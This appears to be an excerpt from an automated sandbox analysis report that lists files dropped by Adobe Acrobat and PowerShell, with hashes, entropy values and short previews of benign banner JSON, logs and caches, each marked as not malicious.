SHA-512:	42F4B3B977B39ED11F21573E59ED1CF45489BCDA820A32002489B81E08F192772E0B594F78FFA89C953657A34C344E380A665E29AA28B7DAD790E93F4C96163F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4edb2121-ab61-4f86-a3fe-c3f0c2e9c1de","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736723265651,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.293622724458717
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAyhuhtg4WsGiIPEeOF0Y0lUoAvJfFldPeUkwRe9:YvXKX9hubgbsdTeOUlGz8Ukee9
MD5:	7748733B88B1F1233800B16F3C059C13
SHA1:	354F2E1CB2FF23269D2F14D33E043689476B0B08
SHA-256:	1FB0BCE75512EB3A0F9A53C9A0E1BC5058C41230F26406C94AAB8DE0160CB06C
SHA-512:	5CFC50A838E62EF81905609C735A8C7F785D7FCAC41F304903974FE82372878A86A3452E55BE521FC81385FC546F8AB32385BB56B2E6A033E547BC54901DED74
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4edb2121-ab61-4f86-a3fe-c3f0c2e9c1de","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736723265651,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.300289755907339
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAyhuhtg4WsGiIPEeOF0Y0lUoAvJfzdPeUkwRe9:YvXKX9hubgbsdTeOUlGb8Ukee9
MD5:	CEE570B67D518007D7BD65186D9D6364
SHA1:	21EEB9C160461F07464501BE7921E445CB168EA4
SHA-256:	EE47A272BA630178FBCEAD000201C8C4EFA3027152F20F741DA4ADBF4E7DC948
SHA-512:	1B57CC5C20E0A37249E72F2C1DE7EEEA2BAC1F87C10BB83DE53A516775466949FD96A2C62C2B63A403DE85F2A4E341213D30D585317FF90021FB8165EC8F5BD8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4edb2121-ab61-4f86-a3fe-c3f0c2e9c1de","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736723265651,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.280537501483561
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAyhuhtg4WsGiIPEeOF0Y0lUoAvJfYdPeUkwRe9:YvXKX9hubgbsdTeOUlGg8Ukee9
MD5:	81609F67398B141F2BC5748511889A10
SHA1:	1B5B18B29235B8FF7E9FEBC1224FB80664C77D61
SHA-256:	8A2491B991B7016BFFBAC006193BD9C29F8EA756EDCBBB8642D8BB143D71619A
SHA-512:	0CF7FFB6DCE3D12DB37F799E07962B7F4FD2A58ABA8AC27AB97F0B638570599F638860ACD550028306363120077A334CB660005CF0DB2E4B5BA6320AD264679A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4edb2121-ab61-4f86-a3fe-c3f0c2e9c1de","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736723265651,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.267094065674327
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAyhuhtg4WsGiIPEeOF0Y0lUoAvJf+dPeUkwRe9:YvXKX9hubgbsdTeOUlG28Ukee9
MD5:	83B61C55FEE4E0A8CB90153C048267CB
SHA1:	649B16D0644883DA11F6097321FF15CCC8437466
SHA-256:	CD53805A531F2D66CF8D6B3770681E8DBB48DEC210B962B93296D76F63D24AC8
SHA-512:	B973E9625C6B1FCE82DC1878160F4C7E5AD61E8F3C0C5D8E3FD3704A2BFB562BA94597C3966BF286D47FDB961C270E83854B12F7D35291A774E445ACF16A8403
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4edb2121-ab61-4f86-a3fe-c3f0c2e9c1de","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736723265651,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.264218362033827
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAyhuhtg4WsGiIPEeOF0Y0lUoAvJfbPtdPeUkwRe9:YvXKX9hubgbsdTeOUlGDV8Ukee9
MD5:	90C083896B282DADEAE9F8AB7C9821DE
SHA1:	21E33E350C81FCC6A9CC483369DFD5CA22CB3B06
SHA-256:	9A63A2C84DC7A411F12B042B7EFC416DFFDAF4CC0A57ACA34C174E8E429D1093
SHA-512:	E1293E18E7CC76D76470F32C5EDB941AF81E98D4B58B22695A4256AB079143B0B199F6BD43D5257AD725CEB7498DBD3880480937499614C31EE1A4D4D64D07D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4edb2121-ab61-4f86-a3fe-c3f0c2e9c1de","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736723265651,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.268600424626289
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAyhuhtg4WsGiIPEeOF0Y0lUoAvJf21rPeUkwRe9:YvXKX9hubgbsdTeOUlG+16Ukee9
MD5:	63880F6D03210F741EA3B15571D21FA0
SHA1:	8176909A2E742B4F35A2328AD39377F478F293E9
SHA-256:	EDF6DA86920879FA164D315F8A9B1005E480117A5A7437B3FED8774DBD0DEAC5
SHA-512:	6A3EC24C51EE7FD508CE5768A509E6F281E5A09DB590162AA2AF4CF64D30D2F28FE138D51AE61EA66117573EEA9F309903A82FC5354B4880127F54EE18C71318
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4edb2121-ab61-4f86-a3fe-c3f0c2e9c1de","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736723265651,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.652418201546703
Encrypted:	false
SSDEEP:	24:Yv6XkQmeO5amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSN:YvXekBgkDMUJUAh8cvMN
MD5:	07EBBD4B9E4F52A2BBDC46831E8B1B6F
SHA1:	5592B47658FE57F6552747FE43FFD32C92179F30
SHA-256:	16EB160FCADB8537D1ED82C1A7D61F401E84FA32095D67246BCCE698A1A68D8D
SHA-512:	755250B723D7B52A5DFF07DCEEFC4F25A4B1B4D1914E1E69F208B650BA61A08C08675FE87509E5351F7FD097A6A1A590EAA7F4DD40597F4693D7AD97387DD7C4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4edb2121-ab61-4f86-a3fe-c3f0c2e9c1de","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736723265651,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.244719250648526
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAyhuhtg4WsGiIPEeOF0Y0lUoAvJfshHHrPeUkwRe9:YvXKX9hubgbsdTeOUlGUUUkee9
MD5:	C671D1C7CF9F2CC1E9CBE6B09D453968
SHA1:	8E338F168E482FB724C3473881E6789F6131BED0
SHA-256:	FE5559287A33A7ACC6058517133F2B0D1677B72088BBE594305D491A420AB237
SHA-512:	D3760A1C5C52B5CE41C70E0D0DE8E78626DA52CD269600C8CF52E82A9A3F90F00CEF3A237DD84D23310BF602E4090D97BDF81B2B781ED7C58A076864F1049292
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4edb2121-ab61-4f86-a3fe-c3f0c2e9c1de","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736723265651,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.264834848260971
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAyhuhtg4WsGiIPEeOF0Y0lUoAvJTqgFCrPeUkwRe9:YvXKX9hubgbsdTeOUlGTq16Ukee9
MD5:	3F70F37729134BB982FAC24A3B1F9537
SHA1:	CD4510DB229D08BEB3A4C450CF5B024D61DEC46B
SHA-256:	DE7A2934DDAF3124D5A01CC5B3D33351C1A9CB612477B8596FE8B977AA7E4FC5
SHA-512:	8A039143B7C63683D5A07E10387471918B2046D372E8350AE0FE81E3125C2BD16E391DD628D3C9DB79220C3D14ED1359731CBD9ECB26F28FFDFC729EE7210EE5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4edb2121-ab61-4f86-a3fe-c3f0c2e9c1de","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736723265651,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.14377045868787
Encrypted:	false
SSDEEP:	48:YVEssxB35AlE83QZwBwQ/CtGpmQOnLmInGI/RA9+JLCI:4EFH5AlE8gmBwQ/CslCmInGIQ+JOI
MD5:	4B66AF4C7A623C661B2C55C9931CDA62
SHA1:	5B71933F5D870A6456BA53F68200A0CB09DB46DD
SHA-256:	E65AEEBED32BDF912CCB018B0E1AA721771915ABBDB13B0CB2249880B2E46DC4
SHA-512:	559A61A64FDA65FC725BE46B3605A4568DED7634DC1787C559544F5B00A8DA05654CF7739AD08C78111D6622AA111CA3B2911CF11BAF830293D5CC97933F7B93
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"5f373a0f53724d09b8239847f90755c6","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736543265000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"0ee665fb198a65ceed92d77921c87d39","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736543265000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"00c8c11cfd44f934f9734daf94a4a6ed","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736543265000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"a6fc88193e08f40007be96eebc67bb8e","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736543265000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"beb3a99dc7db480dab4addea64c3c8fd","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736543265000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"ccc9eb41aa187b94322b600382bced70","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4549501267980611
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsrll:lNVmsw3SHtbDbPe0K3+fDZdk
MD5:	27C55708533CB3140AC916AA9261DA92
SHA1:	3A8F1B9A02D7072B4364C04D23490D5FACDFD66C
SHA-256:	72A1FDE9E8F1F1B78693538F5AE9FD2E350558F4E09EA20F843F71E4E4C9DA19
SHA-512:	54E90DABCE1D738040F4E2C16740FBE1DCAA85EACBE6E0E9C3C3E97772D56BDB4E015045DE72DBD02B11CA363E15CBD772D0F6F7E5ABE8EF1C2F4AF9E70A7F54
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.960707515472767
Encrypted:	false
SSDEEP:	48:7M1rvrBd6dHtbGIbPe0K3+fDy2dsKGqFl2GL7msN:7s3SHtbDbPe0K3+fDZdeKVmsN
MD5:	C5E90111713FB7944EBB181AA4B643BD
SHA1:	7D944E345144968D8CA8BF9ACAC399E9549CD926
SHA-256:	A2F8E8324161357FAC7C05141B8B0971CFE7860C5357E9E644EC9F81559D5B81
SHA-512:	5023C327932C7A69A44F3FB8EAF023EF1A9FEF97C76032DA1420F8DED3486A1A5BE5351E972FBC9A631BC4BAB1A8386B070881C683A5D5A90CB445A4FA0B0DD4
Malicious:	false
Preview:	.... .c.......*}......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgZONLhkcj2Xdx9ers08re+z5SspYyu:6a6TZ44ADEZ+LwdTeAU+42K
MD5:	8FCF987CCACFCE4F6FF0755E452C52D8
SHA1:	76EF8C342FC136CC3B4F90AA2F4B8A1B18427378
SHA-256:	23F022FB895DD92396998756FE72C0BE4D59962FBC849A7396F80E1E61B0C64B
SHA-512:	892C30A62806F16F41C25476A6CCCF47A27DC8637FBD553B9AF51ACFB936A92493044A68A87A70BC7C68EBA8360D53156BC8FBED252F475C312DD6BF9BFE9B46
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI2b43f.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNev:Qw946cPbiOxDlbYnuRK+bDrNev
MD5:	9D2D7E0118E7AFEC0DD7C4CEBFA161D5
SHA1:	330DA5363E50588937008C83EA57556BCA204A24
SHA-256:	F36396677B76AB73E72E9000127D8718D4C4463571A8DDA233B82D3D35CEC750
SHA-512:	D4D320AB3FC50A395BF924DFDA2C9E3640FCDBFE0575778F0A8743085CEB7930CD8A779944388D17C8FFD3BC8D9FE7DAFC06D8A33506086E67264FB0FAA1B79E
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.0.7.:.4.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1i01xliw.vfm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1l0kp04n.dtk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-07-38-418.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.352315010490066
Encrypted:	false
SSDEEP:	384:OFfYHZOLA3GM33naHyfqpnarHI5PscAB97oSc4CU6WMmM3mz5QiRhkAF4pDZs77W:auT25
MD5:	15D34732CD25C6B153AFC764C9A41FD2
SHA1:	CAE13AFBBF440DD45E935056D103EEF7332594E5
SHA-256:	D6D878117A8D20EF1BB66C4744681DBB6E7877CA1BCCCEB7EF115C4503CFBA69
SHA-512:	CB74C0A0DF5F03DAF93F15FB2B1E04E0E4C1B997B76BB0D5FE40A51B44DBCC442055AFF5D87F08E32567ADEF4ABA660A3CCE9746914F17FEF9BF85CD53CD7DF6
Malicious:	false
Preview:	SessionID=b26aaa57-7422-4f9e-af5d-66e72172dd59.1736543258448 Timestamp=2025-01-10T16:07:38:448-0500 ThreadID=7632 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b26aaa57-7422-4f9e-af5d-66e72172dd59.1736543258448 Timestamp=2025-01-10T16:07:38:460-0500 ThreadID=7632 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b26aaa57-7422-4f9e-af5d-66e72172dd59.1736543258448 Timestamp=2025-01-10T16:07:38:460-0500 ThreadID=7632 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b26aaa57-7422-4f9e-af5d-66e72172dd59.1736543258448 Timestamp=2025-01-10T16:07:38:460-0500 ThreadID=7632 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b26aaa57-7422-4f9e-af5d-66e72172dd59.1736543258448 Timestamp=2025-01-10T16:07:38:460-0500 ThreadID=7632 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.4080604271557595
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRVK:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRu
MD5:	CF726A8987DCDB9881D85BDDDA3797EF
SHA1:	6BD3ECCA74415DB50D2143A409D77CA1E61003A3
SHA-256:	4059DAB160BCFBAED5BB2B2CCDEA913692C05C2173D7E12515A2169AB0EDAA1D
SHA-512:	10EE9BD8EB35CA6CC6C0EB8C93E9169F445B15C83A08558A161CA501660828BEC4D5953C71C30FFD025BA33CF0806AA31D4BE3015B02C2391945A1D6BB8B8F22
Malicious:	false
